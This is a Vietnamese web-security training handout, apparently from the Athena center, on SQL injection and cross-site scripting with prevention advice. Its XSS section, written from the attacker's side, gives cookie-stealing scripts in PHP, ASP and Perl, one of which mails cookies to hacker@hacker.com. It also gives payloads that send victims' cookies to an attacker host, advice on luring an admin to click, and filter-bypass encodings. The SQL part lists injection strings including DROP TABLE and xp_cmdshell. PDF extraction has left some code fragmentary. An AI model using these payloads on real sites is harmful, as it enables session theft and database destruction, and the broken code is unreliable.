Đề tài: Các lỗ hỏng thường gặp trên hệ thống website

Tài liệu Đề tài: Các lỗ hỏng thường gặp trên hệ thống website: 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 1 Đề Tài: Các Lỗ Hỏng Thường Gặp Trên Hệ Thống Website 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 2 A. Lỗ hổng bảo mật Trên Hệ Thống Website: 1.Khái Niệm: Các lỗ hổng bảo mật trên một hệ thống là các điểm yếu có thể tạo ra sự ngưng trệ của dịch vụ, thêm quyền đối với người sử dụng hoặc cho phép các truy nhập không hợp pháp vào hệ thống. Các lỗ hổng cũng có thể nằm ngay các dịch vụ cung cấp như sendmail, web, ftp ... Ngoài ra các lỗ hổng còn tồn tại ngay chính tại hệ điều hành như trong Windows NT, Windows 95, UNIX; hoặc trong các ứng dụng mà người sử dụng thương xuyên sử dụng như Word processing, Các hệ databases... 2.Phân loại lỗ hổng bảo mật : Có nhiều tổ chức khác nhau tiến hành phân loại cá...

pdf54 trang | Chia sẻ: Khủng Long | Lượt xem: 1940 | Lượt tải: 2download
Bạn đang xem trước 20 trang mẫu tài liệu Đề tài: Các lỗ hỏng thường gặp trên hệ thống website, để tải tài liệu gốc về máy bạn click vào nút DOWNLOAD ở trên
2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 1 Đề Tài: Các Lỗ Hỏng Thường Gặp Trên Hệ Thống Website 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 2 A. Lỗ hổng bảo mật Trên Hệ Thống Website: 1.Khái Niệm: Các lỗ hổng bảo mật trên một hệ thống là các điểm yếu có thể tạo ra sự ngưng trệ của dịch vụ, thêm quyền đối với người sử dụng hoặc cho phép các truy nhập không hợp pháp vào hệ thống. Các lỗ hổng cũng có thể nằm ngay các dịch vụ cung cấp như sendmail, web, ftp ... Ngoài ra các lỗ hổng còn tồn tại ngay chính tại hệ điều hành như trong Windows NT, Windows 95, UNIX; hoặc trong các ứng dụng mà người sử dụng thương xuyên sử dụng như Word processing, Các hệ databases... 2.Phân loại lỗ hổng bảo mật : Có nhiều tổ chức khác nhau tiến hành phân loại các dạng lỗ hổng đặc biêt. Theo cách phân loại của Bộ quốc phòng Mỹ, các loại lỗ hổng bảo mật trên một hệ thống được chia như sau: - Lỗ hổng loại C: các lỗ hổng loại này cho phép thực hiện các phương thức tấn công theo DoS (Dinal of Services - Từ chối dịch vụ). Mức độ nguy hiểm thấp, chỉ ảnh hưởng tới chất lượng dịch vụ, có thể làm ngưng trệ, gián đoạn hệ thống; không làm phá hỏng dữ liệu hoặc đạt được quyền truy nhập bất hợp pháp - Lổ hổng loại B: Các lỗ hổng cho phép người sử dụng có thêm các quyền trên hệ thống mà không cần thực hiện kiểm tra tính hợp lệ. Mức độ nguy hiểm trung bình; Những lỗ hổng này thường có trong các ứng dụng trên hệ thống; có thể dẫn đến mất hoặc lộ thông tin yêu cầu bảo mật. - Lỗ hổng loại A: Các lỗ hổng này cho phép người sử dụng ở ngoài có thể truy nhập vào hệ thống bất hợp pháp. Lỗ hổng rất nguy hiểm, có thể làm phá hủy toàn bộ hệ thống. Sau đây sẽ phân tích một số lỗ hổng bảo mật thường xuất hiện trên mạng và hệ thống 3.Các kiểu tấn công thường gặp: 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 3 -SQL Injection. - Cross site scripting (XSS): non-persistent -Local Attack -Google Hack B. Các Kiểu Tấn Công Thường Gặp Và Cách Phòng Chống: I/SQL ịnjection: 1. SQL Injection là gì? Khi triển khai các ứng dụng web trên Internet, nhiều người vẫn nghĩ rằng việc đảm bảo an toàn, bảo mật nhằm giảm thiểu tối đa khả năng bị tấn công từ các tin tặc chỉ đơn thuần tập trung vào các vấn đề như chọn hệ điều hành, hệ quản trị cơ sở dữ liệu, webserver sẽ chạy ứng dụng, ... mà quên mất rằng ngay cả bản thân ứng dụng chạy trên đó cũng tiềm ẩn một lỗ hổng bảo mật rất lớn. Một trong số các lỗ hổng này đó là SQL injection. SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào" (inject) và thi hành các câu lệnh SQL bất hợp pháp (không được người phát triển ứng dụng lường trước). Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh, do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase. 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 4 2. Các dạng tấn công bằng SQL Injection Có bốn dạng thông thường bao gồm: vượt qua kiểm tra lúc đăng nhập (authorization bypass), sử dụng câu lện SELECT, sử dụng câu lệnh INSERT, sử dụng các stored-procedures a. Dạng tấn công vượt qua kiểm tra đăng nhập: Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web. Một ví dụ điển hình, thông thường để cho phép người dùng truy cập 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 5 vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp. Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML để hiển thị form nhập liệu và một trang ASP dùng để xử lí thông tin nhập từ phía người dùng. Ví dụ: CODE Username: Password: CODE <% Dim vUsrName, vPassword, objRS, strSQL vUsrName = Request.Form("fUSRNAME") vPassword = Request.Form("fPASSWORD") strSQL = "SELECT * FROM T_USERS " & _ "WHERE USR_NAME=' " & vUsrName & _ " ' and USR_PASSWORD=' " & vPassword & " ' " Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." If (objRS.EOF) Then Response.Write "Invalid login." Else Response.Write "You are logged in as " & objRS("USR_NAME") End If Set objRS = Nothing %> 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 6 Thoạt nhìn, đoạn mã dường như không chứa bất cứ một lỗ hổng về an toàn nào. Người dùng không thể đăng nhập mà không có tên đăng nhập và mật khẩu hợp lệ. Tuy nhiên, đoạn mã này thực sự không an toàn và là tiền đề cho một lỗi SQL injection. Đặc biệt, sơ hở nằm ở chỗ dữ liệu nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh SQL. Chính điều này cho phép những kẻ tấn công có thể điều khiển câu truy vấn sẽ được thực hiện. Ví dụ, nếu người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password của trang login.htm là: ' OR ' ' = ' '. Lúc này, câu truy vấn sẽ được gọi thực hiện là: SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''='' Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ. b. Dạng tấn công sử dụng câu lệnh SELECT Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công. Xét một ví dụ rất thường gặp trong các website về tin tức. Thông thường, sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy vấn nội dung của tin có ID này. Mã nguồn cho chức năng này thường được viết khá đơn giản theo dạng CODE <% Dim vNewsID, objRS, strSQL vNewsID = Request("ID") strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 7 3 Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." Set objRS = Nothing %> Trong các tình huống thông thường, đoạn mã này hiển thị nội dung của tin có ID trùng với ID đã chỉ định và hầu như không thấy có lỗi. Tuy nhiên, giống như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một lỗi SQL injection khác. Kẻ tấn công có thể thay thế một ID hợp lệ bằng cách gán ID cho một giá trị khác, và từ đó, khởi đầu cho một cuộc tấn công bất hợp pháp, ví dụ như: 0 OR 1=1 Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh: SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1 Một trường hợp khác, ví dụ như trang tìm kiếm. Trang này cho phép người dùng nhập vào các thông tin tìm kiếm như Họ, Tên, Đoạn mã thường gặp là: CODE <% Dim vAuthorName, objRS, strSQL vAuthorName = Request("fAUTHOR_NAME") strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME =' " & _ vAuthorName & " ' " Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." Set objRS = Nothing %> 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 8 Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào trường tên bằng chuỗi giá trị: ' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*) Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa. Tất nhiên các ví dụ nói trên, dường như không có gì nguy hiểm, nhưng kẻ tấn công có thể xóa toàn bộ cơ sở dữ liệu bằng cách chèn vào các đoạn lệnh nguy hiểm như lệnh DROP TABLE. Ví dụ như: ' DROP TABLE T_AUTHORS -- Nhập vào chuỗi (*) như trên, nếu hệ thống báo lỗi về cú pháp dạng: Invalid object name “OtherTable”; ta có thể biết chắc là hệ thống đã thực hiện câu SELECT sau từ khóa UNION, vì như vậy mới có thể trả về lỗi mà ta đã cố tình tạo ra trong câu lệnh SELECT. Cũng sẽ có thắc mắc là làm thế nào có thể biết được tên của các bảng dữ liệu mà thực hiện các thao tác phá hoại khi ứng dụng web bị lỗi SQL injection. Cũng rất đơn giản, bởi vì trong SQL Server, có hai đối tượng là sysobjects và syscolumns cho phép liệt kê tất cả các tên bảng và cột có trong hệ thống. Ta chỉ cần chỉnh lại câu lệnh SELECT, ví dụ: ' UNION SELECT name FROM sysobjects WHERE xtype = 'U' là có thể liệt kê được tên tất cả các bảng dữ liệu. c. Dạng tấn công sử dụng câu lệnh INSERT Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào. Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng: INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three'). Nếu đoạn mã xây dựng câu lệnh SQL có dạng : CODE 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 9 <% strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _ & strValueTwo & " ', ' " & strValueThree & " ') " Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." Set objRS = Nothing %> Thì sẽ bị lỗi SQL injection, bởi vì nếu ta nhập vào trường thứ nhất ví dụ như: ' + (SELECT TOP 1 FieldName FROM TableName) + '. Lúc này câu truy vấn sẽ là: INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def') . Khi đó, lúc thực hiện lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh nữa đó là: SELECT TOP 1 FieldName FROM TableName d Dạng tấn công sử dụng stored-procedures 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 10 Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell „cmd.exe dir C: '. Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe. 3. Cách phòng tránh Như vậy, có thể thấy lỗi SQL injection khai thác những bất cẩn của các lập trình viên phát triển ứng dụng web khi xử lí các dữ liệu nhập vào để xây dựng câu lệnh SQL. Tác hại từ lỗi SQL injection tùy thuộc vào môi trường và cách cấu hình hệ thống. Nếu ứng dụng sử dụng quyền dbo (quyền của người sở hữu cơ sở dữ liệu - owner) khi thao tác dữ liệu, nó có thể xóa toàn bộ các bảng dữ liệu, tạo các bảng dữ liệu mới, Nếu ứng dụng sử dụng quyền sa (quyền quản trị hệ thống), nó có thể điều khiển toàn bộ hệ quản trị cơ sở dữ liệu và với quyền hạn rộng lớn như vậy nó có thể tạo ra 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 11 các tài khoản người dùng bất hợp pháp để điều khiển hệ thống của bạn. Để phòng tránh, ta có thể thực hiện ở hai mức: a. Kiểm soát chặt chẽ dữ liệu nhập vào Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ các câu lệnh SQL là bằng cách kiểm soát chặt chẽ tất cả các dữ liệu nhập nhận được từ đối tượng Request (Request, Request.QueryString, Request.Form, Request.Cookies, and Request.ServerVariables). Ví dụ, có thể giới hạn chiều dài của chuỗi nhập liệu, hoặc xây dựng hàm EscapeQuotes để thay thế các dấu nháy đơn bằng 2 dấu nháy đơn như: CODE <% Function EscapeQuotes(sInput) sInput = replace(sInput, " ' ", " ' ' ") EscapeQuotes = sInput End Function %> Trong trường hợp dữ liệu nhập vào là số, lỗi xuất phát từ việc thay thế một giá trị được tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL bất hợp pháp. Để tránh điều này, đơn giản hãy kiểm tra dữ liệu có đúng kiểu hay không bằng hàm IsNumeric(). Ngoài ra có thể xây dựng hàm loại bỏ một số kí tự và từ khóa nguy hiểm như: ;, --, select, insert, xp_, ra khỏi chuỗi dữ liệu nhập từ phía người dùng để hạn chế các tấn công dạng này: CODE <% Function KillChars(sInput) dim badChars dim newChars badChars = array("select", "drop", ";", "--", "insert", "delete", "xp_") newChars = strInput 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 12 for i = 0 to uBound(badChars) newChars = replace(newChars, badChars(i), "") next KillChars = newChars End Function %> b. Thiết lập cấu hình an toàn cho hệ quản trị cơ sở dữ liệu Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến tài khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông thường nên tránh dùng đến các quyền như dbo hay sa. Quyền càng bị hạn chế, thiệt hại càng ít. Ngoài ra để tránh các nguy cơ từ SQL Injection attack, nên chú ý loại bỏ bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi. Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống. II/Cross Site Scripting (XSS): 1.Giới Thiệu: Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiên nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web. Ngay cả đối với những trang như www.fbi.gov , www.yahoo.com , www.ebay.com cũng đã từng bị dính XSS .Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS. Trong bài viết này sẽ đề cập sơ lược tới XSS với một số kinh nghiệm qua kĩ thuật tấn công này. 2. XXS là gì? Cross-Site Scripting hay còn được gọi tắt là XSS là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những đoạn mã script nguy hiểm để thực thi 1 câu lệnh nào đó . Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 13 Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML. Các phương thức XSS: - non-persistent XSS (Reflected XSS) -persistent XSS (Stored XSS) -Dom-Based XSS A. XSS hoạt động như thế nào? Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là các yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server. Nó có thể là một request được gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các URL như là Code: was found !'); Và rất có thể trình duyệt của bạn sẽ hiện lên một thông báo "XSS was found !". Các đoạn mã trong thẻ không hề bị giới hạn bởi chúng hoàn toàn có thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ . Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS. Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 14 được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó. Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website nhưng đó vẫn chỉ tấn công vào bề mặt của website. Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server. Mục tiêu tấn công của XSS không ai khác chính là những người sử dụng khác của website, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các hacker để lại họ có thể bị chuyển tới các website khác, đặt lại homepage, hay nặng hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor, worm .. B. Khai thác với XSS Nhận biết website bị dính lỗi XSS : Thường thì XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó .Nên thường chúng ta sẽ kiểm tra ở những login form đầu vào .Khi nhập 1 chuỗi kí tự nào đó mà kết quả của server trả về có dính tới chuỗi mà bạn nhập thì rất có khả năng site bị dính XSS . 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 15 Giả sử đoạn code chèn XSS là : alert(„XSS‟) vào login form và sau đó nhận đc Popup có chữ XSS thì chắc chắn site đó bị dính XSS Note : 1 số trường hợp bị dính lỗi XSS nhưng ko xuất hiện XSS ---à lúc này phải View source , nếu thấy có alert(„XSS‟) thì khai thác. Một cách khác là chèn script vào các biến truyền trực tiếp trên address. Vd : [chèn xss vào đây] Giả sử đoạn code chèn XSS là : alert(„XSS‟) và cũng nhận đc popup XSS thì site đó cũng bị dính . Khai thác : Thông thường các attacker sử dụng XSS để lấy các thông tin quan trọng : cookie , user name +pass . Ở đây sử dụng XSS để đánh cắp cookie của victim : Cách chèn script : sử dụng Java script . Code : 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 16 javascript:alert(document.cookie) +Dùng file .php: CODE javascript:location=""+(docum ent.cookie) Hàm location để chuyển trình duyệt đến 1 trang khác, lúc đó document.cookie sẽ thay bằng giá trị cookie. Cách exploit: Đầu tiên tạo file cookie.php thế này up lên host của bạn ( host cần hỗ trợ php) <? /*XSS Exploit */ /*PHP Cookie Saver */ $f=fopen("xss.txt","a"); $cook=$HTTP_GET_VARS["cookie"]; fputs($f,$cook.chr(13)); fclose($f); header("location: "); ?> 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 17 XSS giúp steal được cookie của victim, khai thác trên trình duyệt như sau: CODE " n.com/cookie.php?cookie="+(document.cookie) Cookie victim sẽ lưu lại ở file xss.txt trên host của bạn Bây giờ chỉ còn việc dụ "Alert" admin vào link, đổi DIACHIDEDUDO.DUDO lai thành site muốn nó vào sau khi cookie đã lưu lại. +Dùng file .asp Tạo 1 file cookie.asp có nội dung như thế này : <% Set x = CreateObject("Scripting.FileSystemObject") Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true) y.WriteLine Request.QueryString("cookie") y.Close Set y = Nothing Set x = Nothing %> Sau đó up lên host hỗ trợ asp , và cũng làm tương tự như trên . CODE : window.open(" kie="+document.cookie) +Dùng file .cgi : #! /usr/bin/perl #steal.cgi by David Endler #Specific to your system $mailprog = '/usr/sbin/sendmail'; #creat log file open (COOKIES,">>stolen_cookie_file"); #what victim see print " Content-type: text /html \n\n"; 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 18 print <<EndOfHTML; Cookie stealing your cookie has been stolen hehe EndOfHTML #The QUERY_STRING enviroment variable should be filled with #the cookie text after steal.cgi: # print COOKIES "$ENV{ ' QUERY_STRING ' } from $ENV { ' REMOTE_ADDR'} \n; #now mail the alert as well so we can start hijack open (MAIL,"|$mailprog -t"); print MAIL " To: hacker\ @hacker.com \n"; print MAIL " From: cookie_steal \ @hacker.com \n"; print MAIL " Subject :Stolen cookie \n\n"; print MAIL "-" x 75 . "\n\n; print MAIL "$ENV{ 'QUERY_STRING'} from $ENV{ 'REMOTE_ADDR'} \n"; close (MAIL); sử dụng : CODE document.location.repleace(' + document.cookie ) ; Không phải lúc nào bạn cũng có thể dễ dàng chèn code , lắm lúc cũng phải linh hoạt 1 chút bởi vì người lập trình website cũng đâu thể nào dễ dàng để cho chúng ta lộng hành như vậy , họ cũng có chiêu để ngăn cản chúng ta , cách họ dùng là "Lọc code" (Anti-XSS Filter) . Cơ chế của họ như sau : bộ lọc này sẽ loại bỏ các kí tự đặc biệt mà người dùng nhập vào , đơn giản vậy thôi . Giả sử : 1/ Nếu "Bộ lọc" loại bỏ 2 kí tự "" : Hacker sẽ dùng "\x3c" và "\x3e" để thay thế và bắt đầu chèn code với : ') + ') + '\x3cscript 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 19 src=ht*p://hostbanupfile.com/cookie.asp?cookie="+document.cookie\ x3e\x3c/script\x3e' Biến các đoạn code nguy hiểm thành lời chú giải (comment) : Ví dụ khi hacker nhập vào code thì sẽ bị chặn như sau : <!-- code (không được phân tích bởi bộ lọc) //--> Vượt qua cái này bằng cách dùng thẻ đóng để đóng cái kia . Nghĩa là ta chèn cái này vào : <img src="" onerror="alert(XSS);window.open( "> Không cho JAVASCRIPT tồn tại : Trong trường hợp này thì hầu hết các ký tự đặt biệt được nhập vào từ người dùng đều bị lọc , do đó để vượt qua thì hacker phải mã hoá code nhập vào : %27%29%7d%3b Chuỗi "%26%7balert%28%27Mask%27%29%7d%3b" chính là {alert('XSS')}; đã được mã hoá C. Phát hiện XSS bằng cách nào ? Nếu như các bạn sử dụng các mã nguồn của các chương trình có sẵn bạn có thể tham khảo danh sách các lỗ hổng của chương trình bạn trên các trang web chứa các thông tin về bảo mật như securityfocus.com, securiteam.com,... Tuy nhiên nếu các website được tự viết mã nguồn thì bạn không thể áp dụng phương pháp trên. Trong trường hợp này bạn cần đến các chương trình scanner tự động. Nếu như bạn sử dụng trong môi 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 20 trường Windows bạn có thể dùng N-Stealth hay AppScan, đó là những chương trình scan khá tuyệt, bạn không chỉ kiểm tra được các lỗi XSS mà nó còn cho phép bạn kiểm tra các lỗi khác trong Website đó, Server đó. Tất nhiên đâu phải lúc nào bạn cũng cần kiểm tra tất cả, nếu như bạn chỉ muốn kiểm tra các lỗi XSS có trong website, bạn chỉ cần sử dụng screamingCSS. Đó là một Perl Script sẽ mở các kết nối tới website (sử dụng Perl's socket) để kiểm tra các lỗi XSS của bạn. Hơn nữa bạn có thể sử dụng nó trong cả môi trường Unix lẫn Windows. D. Ngăn ngừa XSS như thế nào ? Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng không quá khó khăn để ngăn ngừa XSS. Có rất nhiều cách để có thể giải quyết vấn đề này. OWASP (The Open Web Application Standard Project) nói rằng để có thể xây dựng các website bảo mật cao, đối với các dữ liệu của người sử dụng nên + Chỉ chấp nhận những dữ liệu hợp lệ. + Từ chối nhận các dữ liệu hỏng. + Liên tục kiểm tra và thanh lọc sữ liệu. Tuy nhiên trên thực tế, một số trường hợp bạn phải chấp nhận mọi loại dữ liệu hay không có một bộ lọc phù hợp. Chính vì vậy phải có những cách riêng để giải quyết. Một trong những cách hay sử dụng là bạn mã hoá các kí tự đặc biệt trước khi in ra website, nhất là những gì có thể gây nguy hiểm cho người sử dụng. Trong trường hợp này thẻ sẽ được đổi thành . Như vậy sẽ vẫn được in ra màn hình mà không hề gây nguy hiểm cho người sử dụng. Tôi lấy ví dụ với script search.cgi với mã nguồn là Code: #!/usr/bin/perl use CGI; my $cgi = CGI->new(); my $query = $cgi- >param('query'); print $cgi->header(); print "You entered $query"; Đây hoàn toàn là một script có lỗi bởi vì nó in ra trực tiếp dữ liệu được nhập vào. Dĩ nhiên là khi in ra, nó sẽ in ra dưới dạng đoạn mã HTML, như thế nó không chỉ không in ra chính xác những dữ liệu vào 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 21 một cách trực quan mà còn có tiềm ẩn lỗi XSS. Để có thể giải quyết vấn đề này, chúng ta có thể mã hoá các kí tự đặc biệt của HTML với hàm HTML::Entities::encode(). Như vậy ta có thể có một mã nguồn mới như sau: Code: #!/usr/bin/perl use CGI; use HTML::Entities; my $cgi = CGI->new(); my $text = $cgi->param('text'); print $cgi->header(); print "You entered ", HTML::Entities::encode($text); Với phương pháp này cũng có thể áp dụng đối với các ngôn ngữ Web Application khác (ASP, PHP...). Để kiểm tra việc lọc và mã hoá dữ liệu trước khi in ra, các bạn có thể dùng một chương trình được viết bằng ngôn nhữ PHP, đặc biệt nó được thiết kế để phòng chống các lỗi XSS. Bạn có thể lấy mã nguồn chương trình từ III/Google Hack: 